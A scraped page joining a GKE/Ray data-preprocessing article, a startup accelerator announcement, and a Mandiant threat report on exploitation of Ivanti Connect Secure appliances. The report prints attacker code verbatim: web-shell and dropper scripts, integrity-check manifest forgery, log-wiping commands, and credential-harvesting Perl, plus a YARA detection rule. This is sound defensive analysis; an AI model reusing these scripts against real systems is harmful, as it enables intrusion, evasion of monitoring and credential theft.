Cloud

The exponential growth of machine learning models brings with it ever-increasing datasets. This data deluge creates a significant bottleneck in the Machine Learning Operations (MLOps) lifecycle, as traditional data preprocessing methods struggle to scale. The preprocessing phase, which is critical for transforming raw data into a format suitable for model training, can become a major roadblock to productivity.

To address this challenge, in this article, we propose a distributed data preprocessing pipeline that leverages the power of Google Kubernetes Engine (GKE), a managed Kubernetes service, and Ray, a distributed computing framework for scaling Python applications. This combination allows us to efficiently preprocess large datasets, handle complex transformations, and accelerate the overall ML workflow.

The data preprocessing imperative

The data preprocessing phase in MLOps is foundational, directly impacting the quality and performance of machine learning models. Preprocessing includes tasks such as data cleaning, feature engineering, scaling, and encoding, all of which are essential for ensuring that models learn effectively from the data.

When data preprocessing requires a large number of operations, it may cause bottlenecks slowing down the overall speed at which the data is processed. In the following example, we walk through a preprocessing dataset use case that includes uploading several images to a Google Cloud Storage bucket. This involves up to 140,000 operations that, when executed serially, create a bottleneck and take over 8 hours to complete.

Dataset
For this example, we use a pre-crawled dataset consisting of 20,000 products.

Data preprocessing steps
The dataset has 15 different columns. The columns of our interest are: ‘uniq_id’, ‘product_name’, ‘description’, ‘brand’ ,‘product_category_tree’, ‘image’ ,‘product_specifications’.

Besides dropping null values and duplicates, we perform the following steps on the relevant columns:

1. description: Clean up Product Description by removing stop words and punctuation.

2. product_category_tree: Split into different columns.

3. product_specifications: Parse the Product Specifications into Key:Value pairs.

4. image: Parse the list of image urls. Validate the URL and download the image.

Now, consider the scenario where a preprocessing task involves extracting multiple image URLs from each row of a large dataset and uploading the images to a Cloud Storage bucket. This might sound straightforward, but with a dataset that contains 20,000+ rows, each with potentially up to seven URLs, the process can become incredibly time-consuming when executed serially in Python. In our experience, such a task can take upwards of eight hours to complete!

Solution: Implement parallelism for scalability

To tackle this scalability issue, we turn to parallelism. By breaking the dataset into smaller chunks and distributing the processing across multiple threads, we can drastically reduce the overall execution time. We chose to use Ray as our distributed computing platform.

Ray: Distributed computing simplified

Ray is a powerful framework designed for scaling Python applications and libraries. It provides a simple API for distributing computations across multiple workers, making it a strong choice for implementing parallel data preprocessing pipelines.

In our specific use case, we leverage Ray to distribute the Python function responsible for downloading images from URLs to Cloud Storage buckets across multiple Ray workers. Ray’s abstraction layer handles the complexities of worker management and communication, allowing us to focus on the core preprocessing logic.

Ray’s core capabilities include:

• Task parallelism: Ray enables arbitrary functions to be executed asynchronously as tasks on separate Python workers, providing a straightforward way to parallelize our image download process.

• Actor model: Ray’s “actors” offer a way to encapsulate stateful computations, making them suitable for complex preprocessing scenarios where shared state might be necessary.

• Simplified scaling: Ray seamlessly scales from a single machine to a full-blown cluster, making it a flexible solution for varying data sizes and computational needs.

Implementation details 

We ran the data preprocessing on GKE using the accelerated platforms repository, which provides the code to build your GKE cluster and configure pre-requisites like running Ray on the cluster so you can run data preprocessing on the cluster as a container. The job consisted of three phases:

1. Dataset partitioning: We divide the large dataset into smaller chunks.

The 20,000 rows of input data were divided into 101 smaller chunks, each with 199 rows. Each chunk is assigned to a Ray task, which is executed on a Ray worker.

2. Ray task distribution: We created Ray remote tasks. Ray creates and manages the workers and distributes the task onto them.

3. Parallel data processing: The Ray tasks prepare the data and download the images to Cloud Storage concurrently.

Results

By leveraging Ray and GKE, we achieved a dramatic reduction in processing time. The preprocessing time for 20,000 rows decreased from over 8 hours to just 17 minutes, representing a speedup of approximately 23x. If the data size increases, you can adjust the batch size and use Ray autoscaling to achieve similar performance. 

Data preprocessing challenges no more

Distributed data preprocessing with GKE and Ray provides a robust and scalable solution for addressing the data preprocessing challenges faced by modern ML teams. By leveraging the power of parallelism and cloud infrastructure, we can accelerate data preparation, reduce bottlenecks, and empower data scientists and ML engineers to focus on model development and innovation. To learn more, run the deployment that demonstrates this data preprocessing use case using Ray on GKE cluster.

Despite the growing global investment in AI, women-founded startups remain underrepresented in the venture capital landscape. Just last year, female-founded companies in Europe received just 1.8% of total VC funding. 

To help close this gender gap, we are opening up applications for the Google for Startups Accelerator: Women Founders program for Europe & Israel. This ten-week accelerator is designed to support Seed to Series A women-led AI startups with expert mentorship, technical support, and tailored workshops that lay the groundwork for scaling.

Fostering a more inclusive AI ecosystem

As AI continues to revolutionize industries, ensuring that diverse voices lead the way is critical for driving innovation that benefits everyone. The Google for Startups Accelerator: Women Founders program is working to level the playing field, empowering women-led startups to bring fresh, diverse perspectives to the future of AI. 

Margaryta Sivakova, the CEO of Legal Nodes, leveraged support from the program to scale her business:“Through Google for Startups Accelerator, we learned to build, improve, and scale AI solutions, focusing on production-grade AI, MLOps, and the right infrastructure for rapid scaling.”

Maria Terzi, the CEO of Malloc Privacy, received one-on-one support to help users protect their data on their phones:“We joined Google for Startups Accelerator to enhance our technology and gained much more—insights on pricing, sales, UI/UX design, people management, and fast-paced operations.”

Apply now 

Women-led startups building with AI in Europe and Israel can apply until January 24 for the 2025 cohort of the Google for Startups Accelerator: Women Founders program.  

Learn more and apply today here.

Written by: John Wolfram, Josh Murchie, Matt Lin, Daniel Ainsworth, Robert Wallace, Dimiter Andonov, Dhanesh Kizhakkinan, Jacob Thompson

Note: This is a developing campaign under active analysis by Mandiant and Ivanti. We will continue to add more indicators, detections, and information to this blog post as needed.

On Wednesday, Jan. 8, 2025, Ivanti disclosed two vulnerabilities, CVE-2025-0282 and CVE-2025-0283, impacting Ivanti Connect Secure (“ICS”) VPN appliances. Mandiant has identified zero-day exploitation of CVE-2025-0282 in the wild beginning mid-December 2024. CVE-2025-0282 is an unauthenticated stack-based buffer overflow. Successful exploitation could result in unauthenticated remote code execution, leading to potential downstream compromise of a victim network.

Ivanti and its affected customers identified the compromise based on indications from the company-supplied Integrity Checker Tool (“ICT”) along with other commercial security monitoring tools. Ivanti has been working closely with Mandiant, affected customers, government partners, and security vendors to address these issues. As a result of their investigation, Ivanti has released patches for the vulnerabilities exploited in this campaign and Ivanti customers are urged to follow the actions in the Security Advisory to secure their systems as soon as possible.

Mandiant is currently performing analysis of multiple compromised Ivanti Connect Secure appliances from multiple organizations. The activity described in this blog utilizes insights collectively derived from analysis of these infected devices and have not yet conclusively tied all of the activity described below to a single actor. In at least one of the appliances undergoing analysis, Mandiant observed the deployment of the previously observed SPAWN ecosystem of malware (which includes the SPAWNANT installer, SPAWNMOLE tunneler and the SPAWNSNAIL SSH backdoor). The deployment of the SPAWN ecosystem of malware following the targeting of Ivanti Secure Connect appliances has been attributed to UNC5337, a cluster of activity assessed with moderate confidence to be part of UNC5221, which is further described in the Attribution section. 

Mandiant has also identified previously unobserved malware families from additional compromised appliances, tracked as DRYHOOK and PHASEJAM that are currently not yet linked to a known group. 

It is possible that multiple actors are responsible for the creation and deployment of these various code families (i.e. SPAWN, DRYHOOK and PHASEJAM), but as of publishing this report, we don’t have enough data to accurately assess the number of threat actors targeting CVE-2025-0282. As additional insights are gathered, Mandiant will continue to update this blog post.

Exploitation

While CVE-2025-0282 affects multiple patch levels of ICS release 22.7R2, successful exploitation is version specific. Prior to exploitation, repeated requests to the appliance have been observed, likely to determine the version prior to attempting exploitation.

Version detection has been observed using the Host Checker Launcher, shown above, and the different client installers to determine the version of the appliance. HTTP requests from VPS providers or Tor networks to these URLs, especially in sequential version order, may indicate pre-exploitation reconnaissance.

While there are several variations during the exploitation of CVE-2025-0282, the exploit and script generally performs the following steps:

1. Disable SELinux

2. Prevent syslog forwarding

3. Remount the drive as read-write

4. Write the script

5. Execute the script

6. Deploy one or more web shells

7. Use sed to remove specific log entries from the debug and application logs

8. Reenable SELinux

9. Remount the drive

Immediately after exploitation the threat actor disables SELinux, uses iptables to block syslog forwarding, and remounts the root partition to enable writing of malware to the appliance.

setenforce 0
iptables -A OUTPUT -p udp --dport 514 -j DROP
iptables -A OUTPUT -p tcp --dport 514 -j DROP
iptables -A OUTPUT -p udp --dport 6514 -j DROP
iptables -A OUTPUT -p tcp --dport 6514 -j DROP
mount -o remount,rw /

Malware Staging

Mandiant observed the threat actor using the shell script to echo a Base64-encoded script into the /tmp/.t, and then set execution permissions on the file. The figure below shows the contents of /tmp/.t.

#!/bin/sh
export LD_LIBRARY_PATH=/home/lib/;export DSINSTALL=/home;
export PATH=/usr/local/bin:/bin:/usr/bin:/sbin:/home/bin:/home/venv3/bin/;
dmesg -C;bash /tmp/s>/tmp/kN;

Next, the threat actor writes a Base-64 encoded ELF binary into /tmp/svb. The ELF binary first uses setuid to set the owner of the process to root. It then executes /tmp/s (PHASEJAM) which would inherit the root privileges of the parent process. The threat actor then uses dd to overwrite the svb file with zeros, and removes /tmp/.t.

/bin/chmod 6777 /tmp/svb;
/tmp/svb;
/bin/dd count=1 bs=4096 if=/dev/zero of=/tmp/svb;
/bin/chmod 666 /tmp/svb;
/bin/rm -rf /tmp/.t;

PHASEJAM

PHASEJAM is a dropper written as a bash shell script that maliciously modifies Ivanti Connect Secure appliance components. The primary functions of PHASEJAM are to insert a web shell into the getComponent.cgi and restAuth.cgi files, block system upgrades by modifying the DSUpgrade.pm file, and overwrite the remotedebug executable so that it can be used to execute arbitrary commands when a specific parameter is passed. 

Web Shell

PHASEJAM inserts the web shell into the legitimate files getComponent.cgi and restAuth.cgi as a function named AccessAllow(). The web shell is Perl-based and provides the threat actor with remote access and code execution capabilities on the compromised ICS server. It utilizes the MIME::Base64 module to encode and decode commands and data. 

The table below summarizes the web shell’s functionality, accessible via specific commands derived from HTTP query parameters:

Blocked and Simulated Upgrades

To intercept upgrade attempts and simulate an upgrade, PHASEJAM injects a malicious function into the /home/perl/DSUpgrade.pm file named processUpgradeDisplay(). The functionality is intended to simulate an upgrading process that involves thirteen steps, with each of those taking a predefined amount of time. If the ICS administrator attempts an upgrade, the function displays a visually-convincing upgrade process that shows each of the steps along with various numbers of dots to mimic a running process. Further details are provided in the System Upgrade Persistence section. 

remotedebug Hooking

PHASEJAM renames the file /home/bin/remotedebug to remotedebug.bak. PHASEJAM writes a new /home/bin/remotedebug shell script to hook calls to remotedebug. The brief shell script checks for a new -c parameter that allows remote code execution by the web shell. All other parameters are passed through to remotedebug.bak.

The following provides an abridged PHASEJAM Sample:

# create backdoor 1
cp /home/webserver/htdocs/dana-na/jam/getComponent.cgi 
/home/webserver/htdocs/dana-na/jam/getComponent.cgi.bak

sed -i 's/sub main {/sub main {my $r7=AccessAllow();return if 
$r7;/g' /home/webserver/htdocs/dana-na/jam/getComponent.cgi

sh=$(echo CnN1YiB...QogICAK|base64 -d)

up=$(echo CnN1YiB...xuIjsKCn0K |base64 -d)

grep -q 'sub AccessAllow()' || echo "$sh" >> 
/home/webserver/htdocs/dana-na/jam/getComponent.cgi

sed -i "s/$(grep /home/webserver/htdocs/dana-na/jam/getComponent.cgi 
/home/etc/manifest/manifest -a |grep 
-oE '[0-9a-f]{64}')/$(/home/bin/openssl dgst -sha256 
/home/webserver/htdocs/dana-na/jam/getComponent.cgi |grep 
-oE '[0-9a-f]{64}')/g" /home/etc/manifest/manifest;


#pkill cgi-server	


# create backdoor 2
cp /home/webserver/htdocs/dana-na/auth/restAuth.cgi 
/home/webserver/htdocs/dana-na/auth/restAuth.cgi.bak

sed -i 's/sub main {/sub main {my $r7=AccessAllow();return if 
$r7;/g' /home/webserver/htdocs/dana-na/auth/restAuth.cgi

grep -q 'sub AccessAllow()' echo "$sh" >> 
/home/webserver/htdocs/dana-na/auth/restAuth.cgi

sed -i "s/$(grep /home/webserver/htdocs/dana-na/auth/restAuth.cgi 
/home/etc/manifest/manifest -a |grep -oE '[0-9a-f]{64}')/$(/home/bin/openssl 
dgst -sha256 /home/webserver/htdocs/dana-na/auth/restAuth.cgi |grep 
-oE '[0-9a-f]{64}')/g" /home/etc/manifest/manifest;

#pkill cgi-server


# remotedebug
cp -f /home/bin/remotedebug /home/bin/remotedebug.bak
echo IyEvYmluL2Jhc2gKaWYgWyAiJDEiID09ICItYyIgXTsgdGhlbgoJYm
FzaCAiJEAiCmVsc2UKCWV4ZWMgL2hvbWUvYmluL3JlbW90ZWRlYnV
nLmJhayAiJEAiCmZpICAK|base64 -d >/home/bin/remotedebug
chmod 777 /home/bin/remotedebug.bak
sed -i "s/$(grep /home/bin/remotedebug /home/etc/manifest/manifest 
-a |grep -oE '[0-9a-f]{64}')/$(/home/bin/openssl dgst -sha256 
/home/bin/remotedebug |grep -oE '[0-9a-f]{64}')/g" 
/home/etc/manifest/manifest;

# upgrade
cp -f /home/perl/DSUpgrade.pm /home/perl/DSUpgrade.pm.bak
sed -i 's/popen(*FH, $prog);/processUpgradeDisplay($prog, 
$console, $html);return 0;popen(*FH, $prog);/g' 
/home/perl/DSUpgrade.pm
grep -q 'sub processUpgradeDisplay()' || echo "$up" >> 
/home/perl/DSUpgrade.pm
sed -i "s/$(grep /home/perl/DSUpgrade.pm /home/etc/manifest/manifest 
-a |grep -oE '[0-9a-f]{64}')/$(/home/bin/openssl dgst -sha256 
/home/perl/DSUpgrade.pm |grep -oE '[0-9a-f]{64}')/g" 
/home/etc/manifest/manifest;
pkill cgi-server

Anti-Forensics

Following exploitation, the threat actor has been observed removing evidence of exploitation from several key areas of the appliance:

1. Clearing kernel messages using dmesg and removing entries from the debug logs that are generated during the exploit

2. Deleting troubleshoot information packages (state dumps) and any core dumps generated from process crashes

3. Removing log application event log entries related to syslog failures, internal ICT failures, crash traces, and certificate handling errors

4. Removing executed commands from the SELinux audit log

dmesg -C
cd /data/var/dlogs/
sed -i '/segfault/d' debuglog
sed -i '/segfault/d' debuglog.old
sed -i '/SystemError/d' debuglog
sed -i '/SystemError/d' debuglog.old
sed -i '/ifttls/d' debuglog
sed -i '/ifttls/d' debuglog.old
sed -i '/main.cc/d' debuglog
sed -i '/main.cc/d' debuglog.old
sed -i '/SSL_read/d' debuglog
sed -i '/SSL_read/d' debuglog.old
sed -i '/tlsconnectionpoint/d' debuglog
sed -i '/tlsconnectionpoint/d' debuglog.old
rm -rf /data/var/statedumps/*
rm -rf /data/var/cores/*
cd /home/runtime/logs
sed -i 's/[^x00]{1}x00[^x00]*web server[^x00]*x00//g' log.events.vc0
sed -i 's/[^x00]{1}x00[^x00]*AUT24604[^x00]*x00//g' log.events.vc0
sed -i 's/[^x00]{1}x00[^x00]*SYS31048[^x00]*x00//g' log.events.vc0
sed -i 's/[^x01]{1}x01[^x01]*SYS31376[^x01]*x01//g' log.events.vc0
sed -i 's/x01[^x01]{2,3}6[^x01]*ERR10073[^xff]*x09[^x01]{1}x01/
x01/g' log.events.vc0
cd /data/var/log/audit/
sed -i '/bin/web/d' audit.log
sed -i '/setenforce/d' audit.log
sed -i '/mount/d' audit.log
sed -i '/bin/rm/d' audit.log

System Upgrade Persistence

Mandiant identified two techniques the threat actor employed to persist across system upgrades on compromised Ivanti Connect Secure appliances.

Fake System Upgrades

The first technique, utilized by PHASEJAM, prevents legitimate ICS system upgrade attempts by administrators via rendering a fake HTML upgrade progress bar while silently blocking the legitimate upgrade process. Due to the blocked upgrade attempt, the technique would allow any installed backdoors or tools left by the threat actor to persist on the current running version of the VPN while giving the appearance of a successful upgrade.  

First, the threat actor uses sed to insert a malicious Perl code into DSUpgrade.pm to modify the behavior of the system upgrade process. The malicious processUpgradeDisplay() function, which is stored in the shell variable $up, is appended to DSUpgrade.pm.

sed -i 's/popen(*FH, $prog);/processUpgradeDisplay($prog, 
$console, $html);return 0;popen(*FH, $prog);/g' 
/home/perl/DSUpgrade.pm
grep -q 'sub processUpgradeDisplay()' || echo "$up" >> 
/home/perl/DSUpgrade.pm

The modification occurs within a function in DSUpgrade.pm responsible for installing the new upgrade package. The inserted call to processUpgradeDisplay() with the early return makes the legitimate popen() call to execute /pkg/dspkginstall unreachable. The following provides the relevant excerpt from DSUpgrade.pm as a result of the modification.

local *FH;
my $prog = "/pkg/dspkginstall /var/tmp/new-pack.tgz";
if (defined $useUpgradePartition && $useUpgradePartition == 1) {
  $prog = "/pkg/dspkginstall /data/upgrade/new-pack.tgz";
}

processUpgradeDisplay($prog, $console, $html);
return 0;
popen(*FH, $prog);

The modification intercepts the standard upgrade flow by calling the maliciously created processUpgradeDisplay() function before the legitimate upgrade command executes. The figure below provides an excerpt of the inserted processUpgradeDisplay() function that displays a fake HTML upgrade progress bar, using the sleep command to add dots every second to mimic a running process.

$mystep = 13;
$count = 0;
$sleep_time = 2;
$myline = "Finalizing installation";
print $html "<li style="margin:6px;">Step $mystep: $myline ...";
print $console "$myline ...";
while ($count < $sleep_time) {
      system("/bin/sleep 1");
      print $html ".";
      print $console ".";
      ++$count;
}
print $html " complete ($sleep_time seconds)</li>n";
print $console " complete ($sleep_time seconds)rn";

Recent versions of Ivanti Connect Secure have a built-in integrity checker tool (ICT) that periodically scans the file system to detect new or modified system files that may be indicative of system compromise. The ICT uses a manifest during its scanning process,containing a list of the expected file paths on the system along with its expected SHA256 hash. In an attempt to circumvent the ICT scanner, the threat actor recalculates the SHA256 hash of the modified DSUpgrade.pm and inserts it into the manifest.

sed -i "s/$(grep /home/perl/DSUpgrade.pm 
/home/etc/manifest/manifest -a |grep -oE 
'[0-9a-f]{64}')/$(/home/bin/openssl dgst -sha256 
/home/perl/DSUpgrade.pm |grep -oE '[0-9a-f]{64}')/g" 
/home/etc/manifest/manifest;

The threat actor copies the VERSION file from the mounted upgrade partition (tmp/root/home/VERSION) to the current version partition (/home/VERSION). As a result, the system falsely indicates a successful upgrade while continuing to run on the old appliance version.

chdir("/tmp");
system("/bin/mkdir", "-p", "root/home");
system("/bin/tar", "-xzf", $tgz_path, "./root/home/VERSION");
system("/bin/cp -f ./root/home/VERSION /data/versions/reset/VERSION");
system("/bin/cp -f ./root/home/VERSION /home/VERSION");

The SHA256 hash of the VERSION file from the upgrade partition is recalculated and inserted into the ICT manifest.

system('sed -i 's/$(grep /home/VERSION|grep 
-oE "[0-9a-f]{64}")/$(/home/bin/openssl dgst -sha256 
/home/VERSION)/g' /home/etc/manifest/manifest');

Persistence Across Upgrades

SPAWNANT (libupgrade.so) is an ELF32 executable that installs three components from the SPAWN family:

1. SPAWNMOLE tunneler (libsocks5.so)

2. SPAWNSNAIL SSH backdoor (libsshd.so)

3. SPWANSLOTH log tampering utility (.liblogblock.so)

SPAWNANT and its supporting components can persist across system upgrades. It hijacks the execution flow of dspkginstall, a binary used during the system upgrade process, by exporting a malicious snprintf function containing the persistence mechanism.

Unlike the first method described in this blog post for system upgrade persistence, SPAWNANT does not block the upgrade process. It survives the upgrade process by ensuring itself and its components are migrated to the new upgrade partition (mounted on /tmp/data/ during a legitimate system upgrade process).

cp /lib/libupgrade.so /tmp/data/root/lib
cp /home/lib/libsocks5.so /tmp/data/root/home/lib
cp /home/lib/libsshd.so /tmp/data/root/home/lib

SPAWNANT sets the LD_PRELOAD environment variable to itself (libupgrade.so) within DSUpgrade.pm on the upgrade partition. The modification tells the dynamic linker to load libupgrade.so and use SPAWNANT’s malicious exported snprintf function before other libraries.

ENV{“LD_PRELOAD”} = “libupgrade.so”

Next, SPAWNANT establishes an additional method of backdoor access by writing a web shell into compcheckresult.cgi on the upgrade partition. The web shell uses system() to execute the value passed to a hard-coded query parameter. The following provides the relevant excerpt of the inserted web shell.

if(CGI::param("<redacted>")) {
	print "Cache-Control: no-cache"; 
	print "Content-type: text/html"; 
	my $a=CGI::param("<redacted>"); 
	system("$a");
}

Throughout this entire process, SPAWNANT is careful to circumvent the ICT by recalculating the SHA256 hash for any maliciously modified files. Once the appropriate modifications are complete, SPAWNANT generates a new RSA key pair to sign the modified manifest.

/home/bin/openssl genrsa -out private.pem 2048
/home/bin/openssl rsa -in private.pem -out manifest.2 
-outform PEM -pubout
/home/bin/openssl dgst -sha512 -sign private.pem -out 
manifest.1 /tmp/data/root/home/etc/manifest/manifest
mv manifest.1 manifest.2 /tmp/data/root/home/etc/manifest/
rm -f private.pem'

Post Exploitation

Tunnelers

After establishing an initial foothold on an appliance, Mandiant observed a number of different tunnelers, including the use of publicly-available and open-source tunnelers, designed to facilitate communication channels between the compromised appliance and the threat actor’s command and control infrastructure. These tunnelers allowed the attacker to bypass network security controls and may enable lateral movement further into a victim environment.

SPAWNMOLE 

Originally reported in Cutting Edge, Part 4, SPAWNMOLE is a tunneler injected into the web process. It hijacks the accept function in the web process to monitor traffic and filter out malicious traffic originating from the attacker. SPAWNMOLE is activated when it detects a specific series of magic bytes. Otherwise, the remainder of the benign traffic is passed unmodified to the legitimate web server functions. The malicious traffic is tunneled to a host provided by an attacker in the buffer.

LDAP Queries

The threat actor used several tools to perform internal network reconnaissance. This includes using built-in tools included on the ICS appliance such as nmap and dig to determine what can be accessed from the appliance. The threat actor has also been observed using the LDAP service account, if configured, from the ICS appliance to perform LDAP queries. The LDAP service account was also observed being used to move laterally within the network, including Active Directory servers, through SMB or RDP. The observed attacker commands were prefaced by the following lines:

#!/bin/sh 
export LD_LIBRARY_PATH=/home/lib/;
export DSINSTALL=/home;
export PATH=/usr/local/bin:/bin:/usr/bin:/sbin:/home/bin:/home/venv3/bin/;
dmesg -c;
<commands>

The following reconnaissance commands were seen executed by the threat actor prior to LDAP queries:

dig @<IP ADDRESS> <VICTIM DOMAIN> A
nmap -Pn -sT -p 80,443,445 <IP ADDRESS> --open

LDAP queries were executed using /tmp/lmdbcerr, with output directed to randomly named files in the /tmp directory. Password, host, and query were passed as command line arguments.

/tmp/lmdbcerr [redacted] -u 'CN=[redacted],CN=Managed Service 
Accounts,DC=[redacted]' -p '[redacted]' -h <IP ADDRESS> --tls --dn 
DC=[redacted] -o /tmp/<RANDOM STRING>

/tmp/lmdbcerr [redacted] -u 'dc=[redacted]' -p '<PASSWORD>' -h 
api-[redacted].duosecurity.com --tls --dn dc=[redacted] -o 
/tmp/<RANDOM STRING>

/tmp/lmdbcerr [redacted] -u 'dc=[redacted]' -p '<PASSWORD>' -h 
api-[redacted].duosecurity.com --tls --filter '(cn=*)' --dn dc=[redacted] 
-o /tmp/<RANDOM STRING>

/tmp/lmdbcerr [redacted] -u 'dc=[redacted]' -p '<PASSWORD>' 
-h api-[redacted].duosecurity.com --tls --filter '(distinguishedName=*)' 
--dn dc=[redacted] -o /tmp/<RANDOM STRING>

/tmp/lmdbcerr [redacted] -u 'dc=[redacted]' -p '<PASSWORD>' 
-h api-[redacted].duosecurity.com --tls --filter '(dn=*)' --dn dc=[redacted] 
-o /tmp/<RANDOM STRING>

Appliance Cache Database Theft

Mandiant has observed the threat actor archiving the database cache on a compromised appliance and staging the archived data in a directory served by the public-facing web server to enable exfiltration of the database. The database cache may contain information associated with VPN sessions, session cookies, API keys, certificates, and credential material. 

The threat actor archives the contents of /runtime/mtmp/lmdb. The resulting tar archive is then renamed and masquerades itself as a CSS file located within /home/webserver/htdocs/dana-na/css/. 

Ivanti has previously published guidance on remediating the risk that may result from the database cache dump. This includes resetting local account credentials, resetting API keys, and revoking certificates.

Credential Harvesting

Mandiant has observed the threat actor deploying a Python script, tracked as DRYHOOK, to steal credentials. The malware is designed to modify a system component named DSAuth.pm that belongs to the Ivanti Connect Secure environment in order to harvest successful authentications.

Upon execution, the malicious Python script opens /home/perl/DSAuth.pm and reads its content in a buffer. Next, the malware uses regular expressions to find and replace the following lines of code:

*setPrompt
*runSignin = *DSAuthc::RealmSignin_runSignin;
*runSigninEBSL

The *setPrompt value above is replaced with the following Perl code:

# *setPrompt
$ds_g="";
sub setPrompt{
    eval{
        my $res=@_[1]."=".@_[2]."n";
        $ds_g .= $res;
    };
    return DSAuthc::RealmSignin_setPrompt(@_);
}
$ds_e="";

The injected setPrompt routine captures the second and the third parameter, combines them into the format <param2>=<param3> and then assigns the produced string to a global variable named $ds_g. The next replacement, shown as follows, reveals that the second parameter is a username, and the third parameter is the password of a user trying to authenticate.

# *runSignin = *DSAuthc::RealmSignin_runSignin;
$ds_g1="";
sub encode_base64 ($;$)
{
    my $res = "";
    my $eol = $_[1];
    $eol = "n" unless defined $eol;
    pos($_[0]) = 0;                          # ensure start at the beginning

    $res = join '', map( pack('u',$_)=~ /^.(S*)/, ($_[0]=~/(.{1,45})/gs));

    $res =~ tr|` -_|AA-Za-z0-9+/|;               # `# help emacs
    # fix padding at the end
    my $padding = (3 - length($_[0]) % 3) % 3;
    $res =~ s/.{$padding}$/'=' x $padding/e if $padding;
    return $res;
}
sub runSignin{
    my $res=DSAuthc::RealmSignin_runSignin(@_);
    if(@_[1]->{status} != $DSAuth::Reject && 
        @_[1]->{status} != $DSAuth::Restart){
        if($ds_g ne ""){
            CORE::open(FH,">>/tmp/cmdmmap.kuwMW");
            my $dd=RC4("redacted",$ds_g);
            print FH encode_base64($dd)."n";
            CORE::close(FH);
            $ds_g = ""; 
        }   
    }
    elsif(@_[1]->{status} == $DSAuth::Reject || 
            @_[1]->{status} == $DSAuth::Restart){
        $ds_g = ""; 
    }
    return $res;
}
$ds_e1="";

The code above contains two subroutines named encode_base64 and runSignin. The former takes a string and Base64 encodes it, while the latter intercepts the sign-in process and upon a successful attempt serializes the saved credentials into the global variable $ds_g username and password in a file named cmdmmap.kuwMW under the /tmp directory. The <username>=<password> string is first RC4 encrypted with a hard-coded key and then Base64 encoded with the encode_base64 routine before being saved into the cmdmmap.kuwMW file.

The last code replacement is shown as follows, and it is the same code as above, but it targets a different sign-in scheme that is named EBSL in the code.

# *runSigninEBSL
$ds_g2="";
sub runSigninEBSL{
    my $res=DSAuthc::RealmSignin_runSigninEBSL(@_);
    if(@_[1]->{status} != $DSAuth::Reject && 
        @_[1]->{status} != $DSAuth::Restart){
        if($ds_g ne ""){
            use Crypt::RC4;
            CORE::open(FH,">>/tmp/cmdmmap.kuwMW");
            my $dd=RC4("redacted",$ds_g);
            print FH encode_base64($dd)."n";
            CORE::close(FH);
            $ds_g = ""; 
        }   
    }
    elsif(@_[1]->{status} == $DSAuth::Reject || 
            @_[1]->{status} == $DSAuth::Restart){
        $ds_g = ""; 
    }
    return $res;
}
$ds_e2="";

After the changes are made, the malware attempts to write the modified content back to the DSAuth.pm file, and if unsuccessful, it will remount the file system as readwrite, write the file, and then mount the file system as readonly again. Finally, all instances of the cgi-server process are killed in order for the modified DSAuth.pm to be activated.

Attribution

Mandiant has previously only observed the deployment of the SPAWN ecosystem of malware on Ivanti Connect Secure appliances by UNC5337. UNC5337 is a China-nexus cluster of espionage activity including operations that compromised Ivanti Connect Secure VPN appliances as early as Jan. 2024 and most recently as Dec. 2024. This included the Jan 2024 exploitation of CVE-2023-46805 (authentication bypass) and CVE-2024-21887 (command injection) to compromise Ivanti Connect Secure appliances. UNC5337 then leveraged multiple custom malware families including the SPAWNSNAIL passive backdoor, SPAWNMOLE tunneler, SPAWNANT installer, and SPAWNSLOTH log tampering utility. Mandiant suspects with medium confidence that UNC5337 is part of UNC5221.

UNC5221 is a suspected China-nexus espionage actor that exploited vulnerabilities CVE-2023-46805 and CVE-2024-21887, which impacted Ivanti Connect Secure VPN and Ivanti Policy Security appliances as early as December 2023. Following the successful exploitation of CVE-2023-46805 (authentication bypass) and CVE-2024-21887 (command injection), UNC5221 leveraged multiple custom malware families, including the ZIPLINE passive backdoor, THINSPOOL dropper, LIGHTWIRE web shell, and WARPWIRE credential harvester. UNC5221 was also observed leveraging the PySoxy tunneler and BusyBox to enable post-exploitation activity. Additionally, Mandiant previously observed UNC5221 leveraging a likely ORB network of compromised Cyberoam appliances to enable intrusion operations. 

Conclusion

Following the Jan. 10, 2024, disclosure of CVE-2023-46805 and CVE-2024-21887, Mandiant observed widespread exploitation by UNC5221 targeting Ivanti Connect Secure appliances across a wide range of countries and verticals. Mandiant assesses that defenders should be prepared for widespread, opportunistic exploitation, likely targeting credentials and the deployment of web shells to provide future access. Additionally, if proof-of-concept exploits for CVE-2025-0282 are created and released, Mandiant assesses it is likely additional threat actors may attempt targeting Ivanti Connect Secure appliances.

Recommendations

Ivanti recommends utilizing their external and internal Integrity Checker Tool (“ICT”) and to contact Ivanti Support if suspicious activity is identified. While Mandiant has observed threat actor attempts to evade detection by the ICT, the following screenshots provide examples of how a successful scan should appear versus an unsuccessful scan on a device that has been compromised. Note the number of steps reported by the output.

Ivanti also notes that the ICT is a snapshot of the current state of the appliance and cannot necessarily detect threat actor activity if they have returned the appliance to a clean state. The ICT does not scan for malware or other Indicators of Compromise. Ivanti recommends that customers should run the ICT in conjunction with other security monitoring tools which have detected post-exploitation activity. 

If the ICT result shows signs of compromise, Ivanti recommends a factory reset on the appliance to ensure any malware is removed and to then place the appliance back into production using version 22.7R2.5. 

Acknowledgement

We would like to thank the team at Ivanti for their continued partnership and support in this investigation. Additionally, this analysis would not have been possible without the assistance from analysts across Google Threat Intelligence Group and Mandiant’s FLARE. 

Indicators of Compromise (IOCs)

To assist the wider community in hunting and identifying activity outlined in this blog post, we have included indicators of compromise (IOCs) in a publicly available GTI Collection.

YARA Rules

rule M_APT_Installer_SPAWNSNAIL_1
{ 
    meta: 
        author = "Mandiant" 
        description = "Detects SPAWNSNAIL. SPAWNSNAIL is an SSH 
backdoor targeting Ivanti devices. It has an ability to inject a specified 
binary to other process, running local SSH backdoor when injected to 
dsmdm process, as well as injecting additional malware to dslogserver" 
        md5 = "e7d24813535f74187db31d4114f607a1"
  
    strings: 
        $priv = "PRIVATE KEY-----" ascii fullword
        
        $key1 = "%d/id_ed25519" ascii fullword
        $key2 = "%d/id_ecdsa" ascii fullword
        $key3 = "%d/id_rsa" ascii fullword
        
        $sl1 = "[selinux] enforce" ascii fullword
        $sl2 = "DSVersion::getReleaseStr()" ascii fullword
        
        $ssh1 = "ssh_set_server_callbacks" ascii fullword
        $ssh2 = "ssh_handle_key_exchange" ascii fullword
        $ssh3 = "ssh_add_set_channel_callbacks" ascii fullword
        $ssh4 = "ssh_channel_close" ascii fullword
    
    condition: 
        uint32(0) == 0x464c457f and $priv and any of ($key*) 
and any of ($sl*) and any of ($ssh*)
}

